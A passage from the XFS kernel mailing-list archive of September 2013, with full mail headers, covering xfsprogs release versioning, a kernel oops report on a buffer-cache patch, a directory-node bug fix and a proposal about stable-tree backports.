reducing > the amount of installed headers. > > While the v5 support is a major internal change I think 3.2 would fit > better for this. *shrug* TBH I Don't care a whole lot. Externally for old users in theory it shouldn't be a big change. But internally it's huge, and it enables a new disk format, so ... well, I don't want to bikeshed it too much. I'd mostly like to see _something_ w/ a version number on it so distros can easily start to pick it up in testing repos. > I'd also be tempted to just cut 3.2.0 instead of an alpha version - just > keep the v5 support experimental, maybe under a configure option. But so many changes are already made throughout the codebase, I think firing off a point release with half-baked V5 support seems weird at this point. IOWs, aside from the V5 work I'm not sure anything merits a point release. -Eric From tinguely@sgi.com Mon Sep 23 09:17:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7EB0D7F5A for ; Mon, 23 Sep 2013 09:17:38 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5026E304039; Mon, 23 Sep 2013 07:17:35 -0700 (PDT) Message-ID: <52404D7F.1080308@sgi.com> Date: Mon, 23 Sep 2013 09:17:35 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> In-Reply-To: <1378690396-15792-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/08/13 20:33, Dave Chinner wrote: > From: Dave Chinner > > CPU overhead of buffer lookups dominate most metadata intensive > workloads. The thing is, most such workloads are hitting a > relatively small number of buffers repeatedly, and so caching > recently hit buffers is a good idea. > ... I think this needs more testing. I get the following panic in a loop test after a few (3-8) iterations: while true do tar zxpf xfs.tar cd xfs make make modules cd .. rm -r xfs done BUG: unable to handle kernel paging request at ffff880831c1d218 IP: [] _xfs_buf_find_lookaside+0x98/0xb0 [xfs] PGD 1c5d067 PUD 85ffe0067 PMD 85fe51067 PTE 8000000831c1d060 Oops: 0000 [#1] SMP DEBUG_PAGEALLOC Modules linked in: xfs(O) e1000e exportfs libcrc32c ext3 jbd [last unloaded: xfs ] CPU: 0 PID: 23423 Comm: tar Tainted: G O 3.11.0-rc1+ #3 task: ffff880837f087a0 ti: ffff880831c46000 task.ti: ffff880831c46000 RIP: 0010:[] [] _xfs_buf_find_lookaside+0x9 8/0xb0 [xfs] RSP: 0018:ffff880831c47918 EFLAGS: 00010286 RAX: ffff880831c1d200 RBX: ffff8808372e0000 RCX: 0000000000000003 RDX: 0000000000000011 RSI: 00000000000009c0 RDI: ffff8808372e0000 RBP: ffff880831c47938 R08: ffff8808372e0000 R09: ffff8808376e8d80 R10: 0000000000000010 R11: 00000000000009c0 R12: 00000000000009c0 R13: 0000000000000010 R14: 0000000000000001 R15: 00000000000009c0 FS: 00007fa4bc51f700(0000) GS:ffff88085bc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffff880831c1d218 CR3: 000000082ed00000 CR4: 00000000000007f0 Stack: ffff880831c47938 ffff880831c47aa8 0000000000000010 ffff880834ab7900 ffff880831c479b8 ffffffffa018a679 ffff8808372e00c0 ffff88082eed01a0 0000000000000029 ffff8808372e01f0 0000000000000000 000200015bfe1c68 Call Trace: [] _xfs_buf_find+0x159/0x520 [xfs] [] xfs_buf_get_map+0x30/0x130 [xfs] [] xfs_buf_read_map+0x26/0xa0 [xfs] [] xfs_trans_read_buf_map+0x16d/0x4c0 [xfs] [] xfs_imap_to_bp+0x6c/0x120 [xfs] [] xfs_iread+0x75/0x2f0 [xfs] [] ? inode_init_always+0xfb/0x1c0 [] xfs_iget_cache_miss+0x5a/0x1e0 [xfs] [] xfs_iget+0x13b/0x1c0 [xfs] [] xfs_ialloc+0xbd/0x860 [xfs] [] xfs_dir_ialloc+0x97/0x2e0 [xfs] [] ? xfs_trans_reserve+0x308/0x310 [xfs] I got the same panic running xfstest 319 with the patch at: http://oss.sgi.com/archives/xfs/2013-09/msg00578.html once it hung on a xfs_buf lock before the panic. And these are the only tests that I threw at this patch. --Mark. From bo.li.liu@oracle.com Mon Sep 23 09:38:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ADBEF29DFC for ; Mon, 23 Sep 2013 09:38:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4DAE5AC002 for ; Mon, 23 Sep 2013 07:38:07 -0700 (PDT) X-ASG-Debug-ID: 1379947085-04cbb02c3c1311320001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id TjmZYU4EtLqRdEYC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Sep 2013 07:38:06 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8NEc3uO010718 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 23 Sep 2013 14:38:04 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8NEc2xe011148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 14:38:02 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8NEc1EA009622; Mon, 23 Sep 2013 14:38:01 GMT Received: from localhost.localdomain (/10.191.7.166) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 23 Sep 2013 07:38:01 -0700 Date: Mon, 23 Sep 2013 22:37:56 +0800 From: Liu Bo To: Josef Bacik Cc: linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default Message-ID: <20130923143755.GC18072@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstest/btrfs/001: fix the misuse of subvolume set-default Reply-To: bo.li.liu@oracle.com References: <1379926049-22135-1-git-send-email-bo.li.liu@oracle.com> <20130923131746.GA18681@localhost.localdomain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130923131746.GA18681@localhost.localdomain> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1379947086 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Mon, Sep 23, 2013 at 09:17:46AM -0400, Josef Bacik wrote: > On Mon, Sep 23, 2013 at 04:47:29PM +0800, Liu Bo wrote: > > The command is > > btrfs subvolume set-default . > > > > It uses @subvolid to control the default subvolume and > > @subvolid=0 has always been parsed into FS_TREE no matter > > what subvolume @path points to. > > > > So in order to set a subvolume to the default one, we need > > to get the id of this subvolume first. > > > > Also fix a typo: > > s/sbuvolid/subvolid/g > > > > Signed-off-by: Liu Bo > > Sent a patch for this already. Thanks, oops, sorry I should have noticed that, any chance to fold the typo fix into your patch? -liubo From bpm@sgi.com Mon Sep 23 10:07:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8C0CE7F50 for ; Mon, 23 Sep 2013 10:07:31 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1FD1E8F8050; Mon, 23 Sep 2013 08:07:28 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id CAE844266DC; Mon, 23 Sep 2013 10:07:27 -0500 (CDT) Date: Mon, 23 Sep 2013 10:07:27 -0500 From: Ben Myers To: Eric Sandeen Cc: Christoph Hellwig , Dave Chinner , rjohnston@sgi.com, xfs@oss.sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 Message-ID: <20130923150727.GV10553@sgi.com> References: <20130916205637.GD1935@sgi.com> <20130916223855.GF19103@dastard> <20130923122623.GA2199@infradead.org> <52404A6E.4070306@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52404A6E.4070306@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Gents, On Mon, Sep 23, 2013 at 09:04:30AM -0500, Eric Sandeen wrote: > On 9/23/13 7:26 AM, Christoph Hellwig wrote: > > On Tue, Sep 17, 2013 at 08:38:55AM +1000, Dave Chinner wrote: > >> On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: > >>> xfsprogs: update version for 3.2.0-alpha1 > >> > >> I'd say this is a major feature and infrastructure > >> update across the entire xfsprogs package, and in that case a > >> PKG_MAJOR bump is warranted, not PKG_MINOR. > >> > >> i.e. We're shooting for a 4.0 release, not 3.2... > > > > I tend to disagree with the 4.0 bump. > > > > 2.0 was when the new xattr ABI was introduced, and 3.0 was when we > > pulled fsr over from xfsdump to xfsprogs as well as drastically reducing > > the amount of installed headers. > > > > While the v5 support is a major internal change I think 3.2 would fit > > better for this. > > *shrug* TBH I Don't care a whole lot. Externally for old users in theory > it shouldn't be a big change. But internally it's huge, and it enables > a new disk format, so ... well, I don't want to bikeshed it too much. > > I'd mostly like to see _something_ w/ a version number on it so distros > can easily start to pick it up in testing repos. I have no strong preference... there are plenty of letters in the alphabet. > > I'd also be tempted to just cut 3.2.0 instead of an alpha version - just > > keep the v5 support experimental, maybe under a configure option. > > But so many changes are already made throughout the codebase, I think firing > off a point release with half-baked V5 support seems weird at this point. > > IOWs, aside from the V5 work I'm not sure anything merits a point release. I do tend to agree with Eric that it is a good idea to do an alpha release though. A configure option is an intersting idea too, but that's not how it's coded today. Right now it's just a very loud warning when you create a filesystem with crc=1. That's probably good enough. How about we just do a 3.2 alpha now to get something out there, and if after all the painting is finished and y'all still want a 4.0 bump, we'll do one. ;) The major constraint being... we don't want to go backward. -Ben From sandeen@sandeen.net Mon Sep 23 10:09:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E0927F50 for ; Mon, 23 Sep 2013 10:09:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 966CFAC002 for ; Mon, 23 Sep 2013 08:09:48 -0700 (PDT) X-ASG-Debug-ID: 1379948987-04cb6c2e9f131f700001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Q9BMcpsl890ky4sf for ; Mon, 23 Sep 2013 08:09:47 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 1794761F8928; Mon, 23 Sep 2013 10:09:46 -0500 (CDT) Message-ID: <524059BB.9090409@sandeen.net> Date: Mon, 23 Sep 2013 10:09:47 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ben Myers CC: Christoph Hellwig , Dave Chinner , rjohnston@sgi.com, xfs@oss.sgi.com Subject: Re: xfsprogs: update version for 3.2.0-alpha1 References: <20130916205637.GD1935@sgi.com> <20130916223855.GF19103@dastard> <20130923122623.GA2199@infradead.org> <52404A6E.4070306@sandeen.net> <20130923150727.GV10553@sgi.com> X-ASG-Orig-Subj: Re: xfsprogs: update version for 3.2.0-alpha1 In-Reply-To: <20130923150727.GV10553@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379948987 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/23/13 10:07 AM, Ben Myers wrote: > Hi Gents, > > On Mon, Sep 23, 2013 at 09:04:30AM -0500, Eric Sandeen wrote: >> On 9/23/13 7:26 AM, Christoph Hellwig wrote: >>> On Tue, Sep 17, 2013 at 08:38:55AM +1000, Dave Chinner wrote: >>>> On Mon, Sep 16, 2013 at 03:56:37PM -0500, Ben Myers wrote: >>>>> xfsprogs: update version for 3.2.0-alpha1 >>>> >>>> I'd say this is a major feature and infrastructure >>>> update across the entire xfsprogs package, and in that case a >>>> PKG_MAJOR bump is warranted, not PKG_MINOR. >>>> >>>> i.e. We're shooting for a 4.0 release, not 3.2... >>> >>> I tend to disagree with the 4.0 bump. >>> >>> 2.0 was when the new xattr ABI was introduced, and 3.0 was when we >>> pulled fsr over from xfsdump to xfsprogs as well as drastically reducing >>> the amount of installed headers. >>> >>> While the v5 support is a major internal change I think 3.2 would fit >>> better for this. >> >> *shrug* TBH I Don't care a whole lot. Externally for old users in theory >> it shouldn't be a big change. But internally it's huge, and it enables >> a new disk format, so ... well, I don't want to bikeshed it too much. >> >> I'd mostly like to see _something_ w/ a version number on it so distros >> can easily start to pick it up in testing repos. > > I have no strong preference... there are plenty of letters in the alphabet. > >>> I'd also be tempted to just cut 3.2.0 instead of an alpha version - just >>> keep the v5 support experimental, maybe under a configure option. >> >> But so many changes are already made throughout the codebase, I think firing >> off a point release with half-baked V5 support seems weird at this point. >> >> IOWs, aside from the V5 work I'm not sure anything merits a point release. > > I do tend to agree with Eric that it is a good idea to do an alpha release > though. A configure option is an intersting idea too, but that's not how it's > coded today. Right now it's just a very loud warning when you create a > filesystem with crc=1. That's probably good enough. > > How about we just do a 3.2 alpha now to get something out there, and if after > all the painting is finished and y'all still want a 4.0 bump, we'll do one. ;) > > The major constraint being... we don't want to go backward. I was thinking the same thing. There's not a lot of risk other than potential oddities of i.e. 3.2.0-rc2 going to 4.0.0 w/ no 3.2.0 in between, but that's not really going to break anything. -Eric > -Ben > From jra@baylink.com Mon Sep 23 10:47:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 184A07F37 for ; Mon, 23 Sep 2013 10:47:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 02E258F8039 for ; Mon, 23 Sep 2013 08:47:06 -0700 (PDT) X-ASG-Debug-ID: 1379951224-04cbb02c3b1317ce0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id RhdyzznwSFr6fRZP for ; Mon, 23 Sep 2013 08:47:04 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 36E7D1F001BE for ; Mon, 23 Sep 2013 11:47:04 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id nqkq4SO9gvH3 for ; Mon, 23 Sep 2013 11:46:59 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id C764B1F00274 for ; Mon, 23 Sep 2013 11:46:59 -0400 (EDT) Date: Mon, 23 Sep 2013 11:46:59 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <10293617.8373.1379951219752.JavaMail.root@benjamin.baylink.com> Subject: To Stan MIME-Version: 1.0 X-ASG-Orig-Subj: To Stan Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [24.144.83.141] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - FF3.0 (Linux)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1379951224 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140851 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL I'm wrong; you win; shut up. :-) We did finally give in (read: get paid) and replace the mobo on my sister's DVR... and it did a final xfs_repair on the one problematic volume, and it's now working find. Grrrr. Argggh. Sorry for the noise; I'll be gone again for the next 5 or 6 years. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From tinguely@eagdhcp-232-140.americas.sgi.com Mon Sep 23 13:19:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E915C7F3F for ; Mon, 23 Sep 2013 13:19:58 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay3.corp.sgi.com (Postfix) with ESMTP id 60C9DAC003; Mon, 23 Sep 2013 11:19:55 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8NIJoUM009887; Mon, 23 Sep 2013 13:19:50 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8NIJoOr009886; Mon, 23 Sep 2013 13:19:50 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130923171911.273669684@sgi.com> User-Agent: quilt/0.51-1 Date: Mon, 23 Sep 2013 12:18:58 -0500 From: Mark Tinguely To: xfs@oss.sgi.com, stable@vger.kernel.org Subject: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> Content-Disposition: inline; filename=v2-xfs-fix-xfs_da3_node_toosmall-test.patch Commit f5ea1100 cleans up the disk to host conversions for node directory entries, but because a variable is reused in xfs_node_toosmall() the next node is not correctly found. If the original node is small enough (<= 3/8 of the node size), this change may incorrectly cause a node collapse when it should not. That will cause an assert in xfstest generic/319: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 Keep the original node header to get the correct forward node. Signed-off-by: Mark Tinguely --- v2 -> Dave's local variable approach. -> send to -stable this bug is in 3.10 and 3.11 fs/xfs/xfs_da_btree.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) Index: b/fs/xfs/xfs_da_btree.c =================================================================== --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -1224,6 +1224,7 @@ xfs_da3_node_toosmall( /* start with smaller blk num */ forward = nodehdr.forw < nodehdr.back; for (i = 0; i < 2; forward = !forward, i++) { + struct xfs_da3_icnode_hdr thdr; if (forward) blkno = nodehdr.forw; else @@ -1236,10 +1237,10 @@ xfs_da3_node_toosmall( return(error); node = bp->b_addr; - xfs_da3_node_hdr_from_disk(&nodehdr, node); + xfs_da3_node_hdr_from_disk(&thdr, node); xfs_trans_brelse(state->args->trans, bp); - if (count - nodehdr.count >= 0) + if (count - thdr.count >= 0) break; /* fits with at least 25% to spare */ } if (i >= 2) { From joe@perches.com Mon Sep 23 15:34:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ECA4A7F3F for ; Mon, 23 Sep 2013 15:34:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DAB16304043 for ; Mon, 23 Sep 2013 13:34:09 -0700 (PDT) X-ASG-Debug-ID: 1379968448-04cb6c37774d7be0001-NocioJ Received: from smtprelay.hostedemail.com (smtprelay0064.hostedemail.com [216.40.44.64]) by cuda.sgi.com with ESMTP id LG0Mh6GbGFf98TX9 for ; Mon, 23 Sep 2013 13:34:08 -0700 (PDT) X-Barracuda-Envelope-From: joe@perches.com X-Barracuda-Apparent-Source-IP: 216.40.44.64 Received: from filter.hostedemail.com (ff-bigip1 [10.5.19.254]) by smtprelay01.hostedemail.com (Postfix) with ESMTP id 751E8235FC; Mon, 23 Sep 2013 20:34:08 +0000 (UTC) X-Session-Marker: 6A6F6540706572636865732E636F6D X-HE-Tag: boot25_41027bb191817 X-Filterd-Recvd-Size: 1904 Received: from [192.168.1.157] (pool-96-251-49-11.lsanca.fios.verizon.net [96.251.49.11]) (Authenticated sender: joe@perches.com) by omf10.hostedemail.com (Postfix) with ESMTPA; Mon, 23 Sep 2013 20:34:06 +0000 (UTC) Message-ID: <1379968445.3575.60.camel@joe-AO722> Subject: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules From: Joe Perches X-ASG-Orig-Subj: Re: [PATCH] stable_kernel_rules.txt: Exclude networking from stable rules To: Christoph Hellwig Cc: David Miller , stephen@networkplumber.org, netdev@vger.kernel.org, Mikulas Patocka , Greg Kroah-Hartman , Rob Landley , linux-doc@vger.kernel.org, LKML , xfs@oss.sgi.com Date: Mon, 23 Sep 2013 13:34:05 -0700 In-Reply-To: <20130922185104.GA7515@infradead.org> References: <20130919.135628.1201613770803318193.davem@davemloft.net> <1379615474.22168.13.camel@joe-AO722> <20130922185104.GA7515@infradead.org> Content-Type: text/plain; charset="ISO-8859-1" X-Mailer: Evolution 3.6.4-0ubuntu1 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: smtprelay0064.hostedemail.com[216.40.44.64] X-Barracuda-Start-Time: 1379968448 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140859 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, 2013-09-22 at 11:51 -0700, Christoph Hellwig wrote: > This is also the preferred way to do it for XFS. Maybe word it in a way > that we can easily add subsystems. > > To me it generally seems to be the best way to do it - having random Ccs > and lots of stable trees doesn't seem like a very good way of handling > it. Maybe adding a mechanism to MAINTAINERS would be better. Maybe a default B: (backport?) of stable@vger.kernel.org with a per-subsystem override? SUBSYSTEM TYPE M: maintainer@email.address L: list@email.address S: Supported F: file/pattern/ B: stable@email.address From mlsemon35@gmail.com Mon Sep 23 16:26:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B7C607F3F for ; Mon, 23 Sep 2013 16:26:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5534EAC003 for ; Mon, 23 Sep 2013 14:26:01 -0700 (PDT) X-ASG-Debug-ID: 1379971559-04bdf02f23138b7e0001-NocioJ Received: from mail-qc0-f182.google.com (mail-qc0-f182.google.com [209.85.216.182]) by cuda.sgi.com with ESMTP id QKZcGO6jX1v06bar (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 23 Sep 2013 14:26:00 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] Received: by mail-qc0-f182.google.com with SMTP id n4so2566335qcx.13 for ; Mon, 23 Sep 2013 14:25:59 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=JqdPOJ2ShfAT9tMjtVlRfFgRCgQI5oKNLINUynIbCzs=; b=lvfR3rKTsJSSEmvJiRTqHNO7SF/+FfVSXR9H99sn/4bEMA0aH0jtWnJFWoYPFkRjBo HxCWdqb9U27klrzBR9sBe9B2gZDvbEPqJFkQeX+twRDOqloJw4mCUOhfAi1kIrK3+xiI 1u8sZwESgs3GCwzHv8IxBVksUpziktBaUkN4Y8NWvve52mN5zcxm8uikQ8QRWXUJhURf X3xUAx2wbas+0Ze53FogUtkLHUuEIggC6X3T7UswnVxH0ay4fT1Ssj9XQU8hNAcSOSVQ 